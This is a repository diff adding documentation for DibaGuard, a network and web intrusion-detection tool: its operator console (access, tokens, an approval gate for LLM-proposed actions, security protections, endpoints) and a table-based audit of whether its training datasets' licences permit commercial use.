 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DibaGuard console
2
+
3
+ > **Open-release copy** ([DibaAi/DibaGuard-Open](https://huggingface.co/DibaAi/DibaGuard-Open)). This document was written for the private build of DibaGuard. Numbers that involve the HTTP request model (`http_v2`) were measured with that model, which is **not** part of the open release; the open release ships the licence-clean network models described in `CLEAN_MODELS.md`. Licence statements inside this document are superseded by `DATA_LICENSES.md`, `CLEAN_MODELS.md` and the repository's `LICENSE`, `LICENSE-WEIGHTS` and `NOTICE` files. Sections of the original that were written in Persian were removed from this copy; nothing else was edited.
4
+
5
+ The operator console is one self-contained page served by the sidecar at `GET /console` (`/` and `/dashboard` redirect
6
+ to it). It loads nothing from anywhere else - no CDN, font or script - so it works on an air-gapped server. Tabs:
7
+ Overview, Incidents (with a per-source drawer: evidence, timeline, what the layer did and why, database remediation),
8
+ Review queue, Rules, Policy, Databases, Posture & enforcement, Teach. Light and dark themes follow the OS; the sun/moon
9
+ button overrides it.
10
+
11
+ ## Opening it
12
+
13
+ The sidecar binds to `127.0.0.1` by default. From your laptop, tunnel to it:
14
+
15
+ ```
16
+ ssh -N -L 8787:127.0.0.1:8787 user@guard-host
17
+ # then open http://127.0.0.1:8787/console
18
+ ```
19
+
20
+ Start the sidecar with the shield layer (without `--policy` the console is read-only, engine only):
21
+
22
+ ```
23
+ python -m dibaguard.llm http --models models --policy policy.json --inputs http,flows --port 8787
24
+ ```
25
+
26
+ Reading needs nothing. Every write (verdicts, rules, policy, block / lift, teaching) needs the **console token**:
27
+
28
+ - set `DIBAGUARD_CONSOLE_TOKEN` in the sidecar's environment, or
29
+ - leave it unset: the sidecar generates one and prints it **once** on stderr at startup.
30
+
31
+ Click **Read-only** in the header and paste the token. It is kept in that browser tab only (sessionStorage) and
32
+ forgotten when the tab closes or you click **Unlocked** to lock again.
33
+
34
+ ## Connecting an LLM (Teach)
35
+
36
+ The model is configured in the sidecar's environment, never in the page; the key never reaches the browser.
37
+
38
+ | variable | value |
39
+ |---|---|
40
+ | `DIBAGUARD_LLM_PROVIDER` | `openai` - any OpenAI-compatible `/chat/completions` endpoint (vLLM, llama.cpp server, Ollama, LM Studio, OpenAI) - or `anthropic` (Messages API) |
41
+ | `DIBAGUARD_LLM_BASE_URL` | e.g. `http://10.0.0.30:8000/v1`; for `anthropic` defaults to `https://api.anthropic.com` |
42
+ | `DIBAGUARD_LLM_MODEL` | the model name |
43
+ | `DIBAGUARD_LLM_API_KEY` | the key (optional for local servers; required for `anthropic`) |
44
+ | `DIBAGUARD_LLM_TIMEOUT` | seconds per call, default 120 |
45
+
46
+ On an air-gapped site, point `DIBAGUARD_LLM_BASE_URL` at a model served on the local network; the model must support
47
+ tool / function calling. Without an LLM, the Teach tab explains this and still offers the built-in Persian / English
48
+ rule parser.
49
+
50
+ The Rules tab can also use the connected LLM to interpret a rule written in any language (interpreter
51
+ "Connected LLM", or "Auto" when the built-in parser finds no condition). The result is shown as a precise rule first.
52
+
53
+ ## The approval model
54
+
55
+ The sidecar runs the tool loop itself (`POST /console/chat`), with the dispatcher's tools (`guard_*`) plus four
56
+ console tools (`console_entity`, `console_rule_install`, `console_rule_remove`, `console_enforce`).
57
+
58
+ - **Reads run at once**: status, report, entity details, review queue, fast state, rules / policy (viewing), database
59
+ status, playbook.
60
+ - **Everything that changes state becomes a proposal**: rule install / removal, verdicts, policy changes, block / lift,
61
+ calibration, and feeding traffic to the engine (scoring can lead to actions). The model is told "proposed - not
62
+ executed" and the proposal appears in the transcript and in *Pending proposals* with its exact tool call.
63
+ - **Only you execute it**, by clicking **Approve** (`POST /console/approve`). A rule proposal installs exactly the rule
64
+ you saw in the preview - it is not re-interpreted. A mode switch additionally needs the target mode typed back.
65
+ Proposals expire after an hour; each can be decided once.
66
+ - The assistant hears your decisions (approved, rejected, failed, and your own changes from other tabs) at the start of
67
+ its next turn. The server keeps a bounded history (40 messages for the model, 300 transcript lines); **Clear** forgets it.
68
+
69
+ Policy changes from the Policy tab are validated by `Policy.validate` before they apply. Switching between REPORT and
70
+ ENFORCE asks you to type `ENFORCE` / `REPORT`, server-side (an API caller cannot skip it either). Fields that only take
71
+ effect at start-up (`alpha`, database thresholds read at load) are not editable live: edit `policy.json` and restart.
72
+ Rules and policy changed in the console live in memory; **Policy -> Effective policy -> Download** gives a
73
+ `policy.json` with the installed rules to keep them across restarts.
74
+
75
+ ## Security notes
76
+
77
+ - **Bind to loopback** and reach it over SSH. If you bind elsewhere the sidecar warns at startup; put TLS and access
78
+ control in front.
79
+ - **Writes**: every `POST /console/*` needs `X-DibaGuard-Token` (or `Authorization: Bearer`), the custom header
80
+ `X-DibaGuard-Console: 1`, and `Content-Type: application/json`. Cross-site requests (`Origin` not matching `Host`,
81
+ `Sec-Fetch-Site: cross-site|same-site`) are refused. No CORS headers are ever sent, so another site's page can neither
82
+ send those headers nor read answers.
83
+ - **DNS rebinding**: `/console*` is only served when `Host` is an IP literal or `localhost`; add names (a reverse proxy)
84
+ with `DIBAGUARD_CONSOLE_HOSTS=guard.example.internal`.
85
+ - **The page** carries a CSP that pins its one inline script by hash, forbids every external load, framing, forms and
86
+ base changes. Everything shown is inserted as text - evidence, queries and user-agents from attackers never become markup.
87
+ - **The tool API** (`POST /tools/<name>`): calls that change what the layer enforces - `guard_policy` with `set`,
88
+ `guard_feedback`, `guard_rules` with `add` (not `interpret_only`), `guard_posture` when port closing is on - need the
89
+ same token **and** `X-DibaGuard-Console: 1`, and so do `guard_calibrate` / `guard_db_calibrate` (re-calibration
90
+ rewrites what the site's normal is). Reads stay open on loopback. **Traffic feeds that carry sources**
91
+ (`guard_score_http` with `client` / `t` / `status`, `guard_score_flows`, `guard_db`, `guard_rpc`) need the **feed
92
+ token** - `DIBAGUARD_FEED_TOKEN`, sent as `X-DibaGuard-Feed-Token` by the Go proxy and the authz service, which read
93
+ the same variable - or the console token: otherwise anyone who can reach the port could feed traffic that makes the
94
+ layer block an address of their choice (validation finding V-16). Without `DIBAGUARD_FEED_TOKEN` the sidecar makes
95
+ one and prints it once on stderr. A score-only `guard_score_http` (texts, no client or time) changes nothing and stays
96
+ open. `DIBAGUARD_FEEDS_OPEN=1` reopens every feed (an isolated loopback deployment only; the sidecar warns at
97
+ startup); `DIBAGUARD_FEEDS_NEED_TOKEN=1` demands the console token and header for feeds too. MCP over stdio is
98
+ unchanged (it is the local process's own channel).
99
+ - **Prompt injection**: tool results contain attacker-written text. The system prompt tells the model it is data, and
100
+ the approval gate means a manipulated model can at most *propose*; read each proposal's exact tool call before approving.
101
+ - The LLM key stays in the sidecar process; provider errors are redacted before they are shown.
102
+
103
+ ## Endpoints
104
+
105
+ | method | path | |
106
+ |---|---|---|
107
+ | GET | `/console` | the page |
108
+ | GET | `/console/state` | counters, pressure, drift, mode, backend, latest alarms / actions, per-minute series |
109
+ | GET | `/console/incidents?limit=` | sources with risk, score, families, playbook names, enforcement |
110
+ | GET | `/console/entity?ip=` | one source: evidence, timeline, audit (what was done, why), explanation, remediation, verdicts |
111
+ | GET | `/console/review` | review queue (incl. `site:drift`), verdict stats, recent verdicts |
112
+ | GET | `/console/rules`, `/console/policy`, `/console/databases`, `/console/posture`, `/console/chat` | tab data |
113
+ | POST | `/console/auth` | check the token |
114
+ | POST | `/console/rules/interpret` `{text, engine: auto\|builtin\|llm}` | preview only |
115
+ | POST | `/console/rules/install` `{rule, text}` / `/console/rules/remove` `{id}` | |
116
+ | POST | `/console/policy` `{set, confirm?}` | 409 + `confirm_word` when the mode changes |
117
+ | POST | `/console/feedback` `{entity, verdict, note}` | confirm / reject / benign_source |
118
+ | POST | `/console/enforce` `{ip, action: block\|rate_limit\|challenge\|lift, reason}` | |
119
+ | POST | `/console/posture/run` | runs the audit (closes ports only if the policy allows) |
120
+ | POST | `/console/chat` `{message}` / `/console/chat/reset` | the assistant |
121
+ | POST | `/console/approve` `{id, decision: approve\|reject, confirm?, note?}` | execute or drop a proposal |
docs/DATA_LICENSES.md ADDED
@@ -0,0 +1,251 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DibaGuard training-data licence audit
2
+
3
+ > **Open-release copy** ([DibaAi/DibaGuard-Open](https://huggingface.co/DibaAi/DibaGuard-Open)). This document was written for the private build of DibaGuard. Numbers that involve the HTTP request model (`http_v2`) were measured with that model, which is **not** part of the open release; the open release ships the licence-clean network models described in `CLEAN_MODELS.md`. Licence statements inside this document are superseded by `DATA_LICENSES.md`, `CLEAN_MODELS.md` and the repository's `LICENSE`, `LICENSE-WEIGHTS` and `NOTICE` files. Sections of the original that were written in Persian were removed from this copy; nothing else was edited.
4
+
5
+ Status as of **2026-10-31**. Scope: every dataset that DibaGuard's builders, training jobs, reports or surveys use or
6
+ evaluate on (`guard_jobs/*.py`, `scripts/make_report.py`, `scripts/make_card.py`, `docs/DESIGN.md`,
7
+ `dibaguard/**`). The question is which of them may be used to train and ship a **commercial, closed** model.
8
+
9
+ **Method.** Licences were read from the publisher's own page wherever one exists: UNB CIC, UNSW Canberra research
10
+ pages, the UQ NetFlow pages and the Research Data Australia records, Harvard Dataverse, Zenodo, and GitHub's licence
11
+ API. Kaggle licence fields were read from Kaggle's public dataset metadata (`/api/v1/datasets/view/<owner>/<slug>`,
12
+ the same data the dataset page shows). Read on 2026-10-31.
13
+
14
+ **Rules applied.**
15
+
16
+ * The **owner's terms win**. When a Kaggle uploader is not the dataset's author, the uploader's licence field does
17
+ not grant rights the owner did not grant. A permissive label ("MIT", "CC0", "Apache 2.0") on someone else's data
18
+ is worth nothing. A restrictive label (CC BY-NC-SA) on a mirror still binds you if you use that mirror's processed
19
+ files.
20
+ * No licence stated (Kaggle "Unknown" or "Other" with no terms, or "© Original Authors") means all rights reserved.
21
+ * **GREEN**: the owner grants commercial use, at most with attribution or citation. **AMBER**: rights are unclear,
22
+ or the licence is fine but provenance or upstream terms are not. Needs written permission or legal review.
23
+ **RED**: the licence forbids commercial use, grants only academic use, or grants nothing and the provenance makes
24
+ permission impractical.
25
+ * "Used for" names the corpus and the shipped artefact in `models/` (as in `D:/build-tmp/guard/card_repo/models`).
26
+ Training testbeds were read from each model's `.bin.json` metadata and the run reports.
27
+
28
+ ---
29
+
30
+ ## 1. Summary: datasets inside built corpora or shipped models
31
+
32
+ | # | Dataset (as sourced) | Used for | Owner's licence / terms | Commercial | Redistribution (data / derived model) | Attribution | Verdict | Source URL |
33
+ |---|---|---|---|---|---|---|---|---|
34
+ | 1 | **NF-UQ-NIDS-v2** (UQ; = NF-UNSW-NB15-v2 + NF-BoT-IoT-v2 + NF-ToN-IoT-v2 + NF-CSE-CIC-IDS2018-v2). Kaggle `dhoogla/nfuqnidsv2` | `flows_v1` nf view: `flows_v1/nf_full_*`, `nf_robust_*` (tier-1 single-flow detector and family head) | UQ: academic use free "in perpetuity after citing"; "For commercial purposes, it should be agreed upon by the authors". Kaggle copy: CC BY-NC-SA 4.0 | **No** without the authors' agreement | Not granted; mirror is NC-SA | Cite Sarhan, Layeghy, Portmann 2022 (MONET) | **RED** | https://www.cyber.uq.edu.au/node/824 · https://researchdata.edu.au/nf-ton-iot-v2/3370542 · https://www.kaggle.com/datasets/dhoogla/nfuqnidsv2 |
35
+ | 2 | **NF-ToN-IoT-v3, NF-BoT-IoT-v3, NF-CSE-CIC-IDS2018-v3, NF-UNSW-NB15-v3** (UQ 2025). Kaggle `athena21/netflow-v3-datasets` | `entity_v1` testbeds `nfv3_*`: `entity_v1/nf_entity_detector`, `seq_v1/seqnet` (GRU), `seq_v1/nf_entity_mono` (monotone CatBoost prior) | UQ: no v3-specific licence on the download page; UQ's NIDS-dataset terms (academic only, commercial by agreement) presumed to apply (**unverified for v3**). Kaggle copy: CC BY-NC-SA 4.0 | **No** | Not granted; mirror is NC-SA | Cite Luay et al. 2025, "Temporal Analysis of NetFlow Datasets…" | **RED** | https://staff.itee.uq.edu.au/marius/NIDS_datasets/ · https://www.kaggle.com/datasets/athena21/netflow-v3-datasets |
36
+ | 3 | **Merged NetFlow v3, "MIT"**. Kaggle `thanhphuc1810/netflow-v3` | Planned "licence-clean" retrain (`entity_build.py` testbeds `nfmit_*`, DESIGN §9) | The data is UQ's NF-*-v3. The MIT label was set by an uploader who is not the owner and has no description or provenance. UQ terms govern | **No** | The MIT label grants nothing | As row 2 | **RED**: not a licence fix | https://www.kaggle.com/datasets/thanhphuc1810/netflow-v3 |
37
+ | 4 | **CIC-IDS2017**, DistriNet label-corrected. Kaggle `dhoogla/distrinetcicids2017` | `flows_v1` cic view: `flows_v1/cic_*` | CIC (owner): the dataset page says "publicly available for researchers". The CIC FAQ answers "What is your policy of using your dataset collections by private companies, for commercial use?" with "you may redistribute, republish, and mirror our datasets in any form", citation required. DistriNet corrections: no licence stated. Kaggle copy: CC BY-NC-SA 4.0 | Original: **Yes** (with citation). This copy: **No** | Original: yes, any form. Copy: NC-SA | Cite Sharafaldin et al., ICISSP 2018; DistriNet papers if their labels are used | **RED as sourced**. GREEN if rebuilt from UNB originals | https://www.unb.ca/cic/datasets/ids-2017.html · https://www.unb.ca/cic/datasets/index.html (FAQ) · https://intrusion-detection.distrinet-research.be/CNS2022/index.html |
38
+ | 5 | **CSE-CIC-IDS2018**, DistriNet label-corrected. Kaggle `dhoogla/distrinetcsecicids2018` | `flows_v1` cic view: `flows_v1/cic_*` | CIC: "You may redistribute, republish, and mirror the CSE-CIC-IDS2018 dataset in any form"; any use must cite and link the AWS page. Same FAQ. AWS Open Data registry licence field points to the CIC page. Kaggle copy: CC BY-NC-SA 4.0 | Original: **Yes**. This copy: **No** | Original: yes. Copy: NC-SA | Cite Sharafaldin et al. 2018 and link registry.opendata.aws/cse-cic-ids2018 | **RED as sourced**. GREEN from AWS original | https://www.unb.ca/cic/datasets/ids-2018.html · https://registry.opendata.aws/cse-cic-ids2018/ |
39
+ | 6 | **CIC-DDoS2019**. Kaggle `dhoogla/cicddos2019` | `flows_v1` cic view: `flows_v1/cic_*` | CIC: "You may redistribute, republish and mirror the CICDDoS2019 dataset in any form"; citation required. Kaggle copy: CC BY-NC-SA 4.0 | Original: **Yes**. This copy: **No** | Original: yes. Copy: NC-SA | Cite Sharafaldin et al., ICCST 2019 | **RED as sourced**. GREEN from UNB original | https://www.unb.ca/cic/datasets/ddos-2019.html |
40
+ | 7 | **LUFlow**, "improved" copy. Kaggle `dhoogla/luflow` | `flows_v1` lu view: `flows_v1/lu_full_*` | Owner's own release (row 8) is CC BY-SA 4.0. This derivative is "distributed under CC BY-NC-SA 4.0" by its uploader. NC-SA is not compatible with BY-SA | This copy: **No** | NC-SA | Cite Mills et al., IEEE TNSM 2021 | **RED as sourced**. Switch to row 8 | https://www.kaggle.com/datasets/dhoogla/luflow |
41
+ | 8 | **LUFlow** (Lancaster University). Kaggle `mryanm/luflow-network-intrusion-detection-data-set` | `entity_v1` lu2020: `entity_v1/lu_entity_detector`, `seq_v1/seqnet`, `seq_v1/nf_entity_mono` | CC BY-SA 4.0. Uploader is Ryan Mills, the paper's first author (identity inferred from the name). The GitHub repo `ruzzzzz/LUFlow` has no licence file | **Yes** | Data: yes, under BY-SA. Corpora derived from it must stay BY-SA if shared. Whether model weights are "Adapted Material" is legally unsettled | Cite Mills et al., TNSM 2021 (doi:10.1109/TNSM.2021.3091517) | **GREEN** (ShareAlike caveat) | https://www.kaggle.com/datasets/mryanm/luflow-network-intrusion-detection-data-set |
42
+ | 9 | **RoEduNet-SIMARGL2021**. Kaggle `h2020simargl/simargl2021-network-intrusion-detection-dataset` | `entity_v1` simargl2021: `nf_entity_detector`, `seqnet`, `nf_entity_mono` | CC BY 4.0, stated on the Kaggle account named "H2020 SIMARGL". The paper's data statement points to simargl.eu (not checked) | **Yes** | Yes, with attribution | Cite Mihailescu et al., Sensors 21(13):4319, 2021 | **GREEN** (uploader identity as the consortium unverified) | https://www.kaggle.com/datasets/h2020simargl/simargl2021-network-intrusion-detection-dataset |
43
+ | 10 | **CIC-BCCC-NRC ACI-IoT-2023** (member of TabularIoTAttack-2024). Kaggle `phungvannamanh/cic-bccc-nrc-aci-iot-2023-dataset`, "MIT" | `entity_v1` aciiot2023: `seq_v1/nf_entity_mono` (shipped prior); real-world evaluation | The MIT label is from an uploader who is not the owner, with an empty description. The UNB and York (BCCC) pages for TabularIoTAttack-2024 state no licence; York has a "Request Dataset" form with unseen terms. The CIC FAQ ("any of our datasets… in any form") probably covers it (**unverified**). The underlying ACI-IoT-2023 is CC BY 4.0 from its authors (see §2) | Probably yes, **unconfirmed** | Unconfirmed | Cite Sasi et al. 2024 and Nack et al., MILCOM 2024 | **AMBER** | https://www.unb.ca/cic/datasets/tabular-iot-attack-2024.html · https://www.yorku.ca/research/bccc/ucs-technical/cybersecurity-datasets-cds/tabular-iot-attack-dataset-cic-bccc-nrc-tabulariotattack-2024/ |
44
+ | 11 | **CIC-BCCC-NRC IoMT-2024**. Kaggle `amineipad/iomt-cic-bccc-dataset-2024`, "MIT" | `entity_v1` iomt2024: `seq_v1/nf_entity_mono`; real-world evaluation | Same situation as row 10: the MIT label is not from the owner. The UNB CICIoMT2024 page states no licence; the CIC FAQ probably applies (**unverified**) | Probably yes, **unconfirmed** | Unconfirmed | Cite "CICIoMT2024: Attack Vectors in Healthcare devices…" (Internet of Things, Dec 2024) and Sasi et al. 2024 | **AMBER** | https://www.unb.ca/cic/datasets/iomt-dataset-2024.html |
45
+ | 12 | **HTTP DATASET CSIC 2010** (Spanish National Research Council, CSIC). Kaggle `ispangler/csic-2010-web-application-attacks` | `http_v1` training rows, **and the benign carrier requests into which every payload-only source is placed**: `http_v1/http_tier1`, `http_v2/http_tier1_v2` | No licence found. Kaggle field: "Data files © Original Authors". Official page (`tic.itefi.csic.es/dataset/`, formerly `isi.csic.es/dataset/`) unreachable from here (TLS error): **unverified** | Unknown, so no | Unknown | Cite Giménez, Pérez Villegas, Álvarez Marañón (CSIC 2010) | **AMBER** (all rights reserved by default) | https://www.tic.itefi.csic.es/dataset/ · https://www.kaggle.com/datasets/ispangler/csic-2010-web-application-attacks |
46
+ | 13 | **zanbil.ir access logs**, labelled. Kaggle `mahendradata/web-server-access-logs-labeled` (CC0). Original: Zaker 2019, Harvard Dataverse | `http_v1` training rows, benign carriers, `persian_fp` and `wild` suites: both HTTP models | Original: **CC0 1.0** (Dataverse). But the raw `Access.log.zip` there is marked restricted: "Restricted due to sensitive content. Please contact author to obtain access." Labels: uploader's rule-based heuristics, CC0. `http_build.py` tags this source `cc-by-4.0`, which is wrong; it is CC0 | **Yes** (CC0) | Yes | None required; cite Zaker 2019 (doi:10.7910/DVN/3QBYB5) | **AMBER (low)**: licence is GREEN, but the owner withholds the raw log and the data holds real client IPs and user agents | https://dataverse.harvard.edu/dataset.xhtml?persistentId=doi:10.7910/DVN/3QBYB5 · https://www.kaggle.com/datasets/mahendradata/web-server-access-logs-labeled |
47
+ | 14 | **Web application attack payload dataset**. Kaggle `mreowie/web-application-attack-payload-dataset`, Apache 2.0 | `http_v1` payload rows (cmdi, xss, traversal, sqli, ssti, benign): both HTTP models | Apache 2.0 by the uploader, who aggregated other sources. Two of them are **GPL-3.0** (`foospidy/payloads`, `openappsec/mgm-web-attack-payloads`, checked via GitHub's licence API). Others are unverified (HF `darkknight25` polyglot set, `SunnyThakur25`, `BlankVox/PayloadLab`, `payloadbox/xss-payload-list`) | Uploader says yes; the upstream GPL-3.0 content cannot be relicensed as Apache | Data: GPL-3.0 parts carry copyleft. Effect on model weights is unsettled | Apache NOTICE plus GPL attribution | **AMBER** | https://www.kaggle.com/datasets/mreowie/web-application-attack-payload-dataset · https://github.com/foospidy/payloads · https://github.com/openappsec/mgm-web-attack-payloads |
48
+ | 15 | **Obfuscated labelled SQLi**. Kaggle `davidsenaniev/obfuscated-labeled-sql-injection-dataset` | `http_v1` payload rows plus the `evasion` suite: both HTTP models | Licence "Unknown". "Derived from the Biggest SQL Injection Dataset (Kaggle, gambleryu)", which is also "Unknown". Obfuscated with WAF-A-MoLE (the tool is MIT) | **No rights granted** | None | n/a | **RED** | https://www.kaggle.com/datasets/davidsenaniev/obfuscated-labeled-sql-injection-dataset · https://www.kaggle.com/datasets/gambleryu/biggest-sql-injection-dataset |
49
+ | 16 | **XSS payloads, LLM-obfuscated**. Kaggle `mahadihasanshaisob/xss-payloads-with-obfuscated-llm-specialized`, Apache 2.0 | `http_v1` payload rows plus the `evasion` suite: both HTTP models | Apache 2.0 by the uploader. Built from "several public sources" that are not named | Uploader says yes; upstream unknown | Unclear | Cite the IEEE paper listed on the page (doc 11429351) | **AMBER** | https://www.kaggle.com/datasets/mahadihasanshaisob/xss-payloads-with-obfuscated-llm-specialized |
50
+ | 17 | **XSS dataset for deep learning**. Kaggle `syedsaqlainhussain/cross-site-scripting-xss-dataset-for-deep-learning` | `http_v1` payload rows: both HTTP models | Licence "Unknown". "collected from portswigger cheatsheet and owasp cheatsheets" (PortSwigger content is PortSwigger's copyright; OWASP Cheat Sheets have their own licence) | **No rights granted** | None | n/a | **RED** | https://www.kaggle.com/datasets/syedsaqlainhussain/cross-site-scripting-xss-dataset-for-deep-learning |
51
+ | 18 | **SQL injection dataset** (SQLiV3). Kaggle `syedsaqlainhussain/sql-injection-dataset` | `http_v1` payload rows: both HTTP models | Licence "Unknown". "collected raw data … from different websites" | **No rights granted** | None | n/a | **RED** | https://www.kaggle.com/datasets/syedsaqlainhussain/sql-injection-dataset |
52
+ | 19 | **ATS WAF classifier**. Kaggle `sambitmssu/ats-waf-classifier`, CC0 | `http_v1` training rows (CSIC rows dropped by `load_sambit`): both HTTP models | CC0 by the uploader, but the data is "sourced from CSIC 2010, ECML/PKDD 2007, and demo shop traffic". No ECML/PKDD 2007 licence found. Demo-shop origin unknown | Uploader says yes; upstream unclear | Unclear | n/a | **AMBER** | https://www.kaggle.com/datasets/sambitmssu/ats-waf-classifier · https://www.lirmm.fr/pkdd2007-challenge |
53
+ | 20 | **SR-BH 2020** WordPress POST subset. Kaggle `ahmeterenceylan/http-request-dataset` (MIT) | **Evaluation only**: the `wp_post` suite, never trained on | Upstream SR-BH 2020 multi-label dataset is **CC0 1.0** (Harvard Dataverse, Sureda Riera et al.). The uploader's MIT label is compatible | **Yes** | Yes | Cite Sureda Riera et al., Computers & Security 2022 (doi:10.1016/j.cose.2022.102788) | **GREEN** | https://dataverse.harvard.edu/dataset.xhtml?persistentId=doi:10.7910/DVN/OGOIXX · https://www.kaggle.com/datasets/ahmeterenceylan/http-request-dataset |
54
+ | 21 | **Thirty-day ModSecurity blocked-request archive** (Lucz 2025). Zenodo 17178461 | `http_v2/modsec.parquet`: the `modsec` evaluation suite (last 10 days), plus the training split (first 20 days) when run with `--modsec-train 1` (the `http_v2_final2` run) | **CC BY 4.0** | **Yes** | Yes, with attribution | Cite Lucz, G. (2025), Zenodo, doi:10.5281/zenodo.17178461 | **GREEN** | https://zenodo.org/records/17178461 |
55
+ | 22 | **Own synthetic / lab data**: `scripts/redteam_lab.py`, `redteam_hard.py`, `redteam_platforms.py` (localhost 127.0.0.0/8), `scripts/db_corpus.py` (grammar-generated SQL, "no third-party payload lists"), parity fixtures (synthetic) | Live lab evaluation, DbNet corpus, parity tests | Own work | **Yes** | Yes | n/a | **GREEN** | this repo |
56
+
57
+ ### What this means for each shipped artefact
58
+
59
+ | Artefact | Trained on (from model metadata and run reports) | Clean for commercial release? |
60
+ |---|---|---|
61
+ | `flows_v1/nf_*` | NF-UQ-NIDS-v2 (row 1) | **No (RED)** |
62
+ | `flows_v1/cic_*` | dhoogla CIC-IDS2017, CSE-CIC-IDS2018, CIC-DDoS2019 copies (rows 4–6) | **No (RED as sourced)**. Retrain on UNB/AWS originals |
63
+ | `flows_v1/lu_full_*` | dhoogla LUFlow copy (row 7) | **No (RED as sourced)**. Retrain on row 8 |
64
+ | `entity_v1/nf_entity_detector` | `nfv3_botiot`, `nfv3_cic2018`, `nfv3_toniot`, `nfv3_unsw`, `simargl2021` | **No (RED)** |
65
+ | `entity_v1/lu_entity_detector` | `lu2020` (row 8) | **Yes (GREEN)**, with the BY-SA caveat |
66
+ | `seq_v1/seqnet` (GRU SeqNet) | `nfv3_*` ×4, `simargl2021`, `lu2020` | **No (RED)** |
67
+ | `seq_v1/nf_entity_mono` (monotone CatBoost prior) | `nfv3_*` ×4, `simargl2021`, `lu2020`, `aciiot2023`, `iomt2024` | **No (RED)** |
68
+ | `http_v1/http_tier1` | CSIC, zanbil, mreowie, obf_sqli, obf_xss, syed_xss, syed_sqli, sambit (rows 12–19) | **No (RED)**: contains rows 15, 17 and 18 |
69
+ | `http_v2/http_tier1_v2` | `http_v1` train split plus ModSecurity 2025 train split | **No (RED)**: inherits `http_v1` |
70
+
71
+ **Bottom line:** of the current shipped models, only `entity_v1/lu_entity_detector` is licence-clean for commercial
72
+ use. The "licence-clean retraining" from `thanhphuc1810/netflow-v3` described in DESIGN §9 does not make anything
73
+ clean. The same goes for the statement in `make_report.py` that the monotone prior is trained on "MIT / CC BY
74
+ sets": the MIT labels on rows 3, 10 and 11 are uploader labels, not owner licences.
75
+
76
+ ---
77
+
78
+ ## 2. Surveyed only (in `survey*.py`, not in any built corpus): status as candidate replacements
79
+
80
+ | Dataset (Kaggle slug or URL) | Owner / origin | Licence found | Verdict | Source |
81
+ |---|---|---|---|---|
82
+ | `seyhed/nf-cicids2018-v3`, `seyhed/nf-unsw-nb15-v3`, `seyhed/nf-bot-iot-v3` | UQ NF-*-v3 | "Other", no terms; UQ terms govern | RED | https://www.kaggle.com/datasets/seyhed/nf-unsw-nb15-v3 |
83
+ | `nguyennhuwz/nf-uq-nids-v3-55features` | UQ | "Unknown"; UQ terms govern | RED | https://www.kaggle.com/datasets/nguyennhuwz/nf-uq-nids-v3-55features |
84
+ | `aryashah2k/nfuqnidsv2-network-intrusion-detection-dataset` | UQ | CC0 set by a non-owner, so worthless; UQ terms govern | RED | https://www.kaggle.com/datasets/aryashah2k/nfuqnidsv2-network-intrusion-detection-dataset |
85
+ | `mrwellsdavid/unsw-nb15` (original UNSW-NB15) | UNSW Canberra (Moustafa, Slay) | "Free use … for academic research purposes … Use for commercial purposes should be agreed by the authors." | RED | https://research.unsw.edu.au/projects/unsw-nb15-dataset |
86
+ | BoT-IoT (underlying NF-BoT-IoT) | UNSW Canberra | Academic use free; "Use for commercial purposes should be agreed by the authors." | RED | https://research.unsw.edu.au/projects/bot-iot-dataset |
87
+ | ToN-IoT (underlying NF-ToN-IoT) | UNSW Canberra | Academic use free; "Use for commercial purposes is allowable after asking the author, Dr Nour Moustafa" | RED until permission (realistic to obtain) | https://research.unsw.edu.au/projects/toniot-datasets |
88
+ | `yasiralifarrukh/unsw-and-cicids2017-labelled-pcap-data` | UNSW-NB15 plus CIC-IDS2017 packets | ODbL/DbCL set by the uploader; the UNSW part follows UNSW terms | RED (UNSW part) | https://www.kaggle.com/datasets/yasiralifarrukh/unsw-and-cicids2017-labelled-pcap-data |
89
+ | `ernie55ernie/improved-cicids2017-and-csecicids2018` | CIC data with DistriNet relabel | "Other", no terms; DistriNet pages state no licence | AMBER | https://intrusion-detection.distrinet-research.be/CNS2022/Dataset_Download.html |
90
+ | `madhavmalhotra/unb-cic-iot-dataset`, `nikitamanaenkov/large-scale-attacks-in-iot-environment` (CIC-IoT2023) | UNB CIC | Mirrors say "Other" / CC BY 4.0. Owner: the CIC FAQ allows redistribution in any form with citation | GREEN **from the UNB original** | https://www.unb.ca/cic/datasets/iotdataset-2023.html |
91
+ | `emilynack/aci-iot-network-traffic-dataset-2023` (ACI-IoT-2023) | Army Cyber Institute; uploaded by author Emily Nack | CC BY 4.0 (IEEE DataPort copy needs a subscription and shows no licence field) | GREEN | https://www.kaggle.com/datasets/emilynack/aci-iot-network-traffic-dataset-2023 · https://ieee-dataport.org/documents/aci-iot-network-traffic-dataset-2023 |
92
+ | `ubobyclinton/mu-iot` (MU-IoT, Manipur University) | Uploaded by "U.B. Clinton", matching the paper's first author | CC BY 4.0 | GREEN (uploader identity inferred) | https://www.kaggle.com/datasets/ubobyclinton/mu-iot |
93
+ | `h2020simargl/simargl2022` | SIMARGL | CC BY 4.0 | GREEN | https://www.kaggle.com/datasets/h2020simargl/simargl2022 |
94
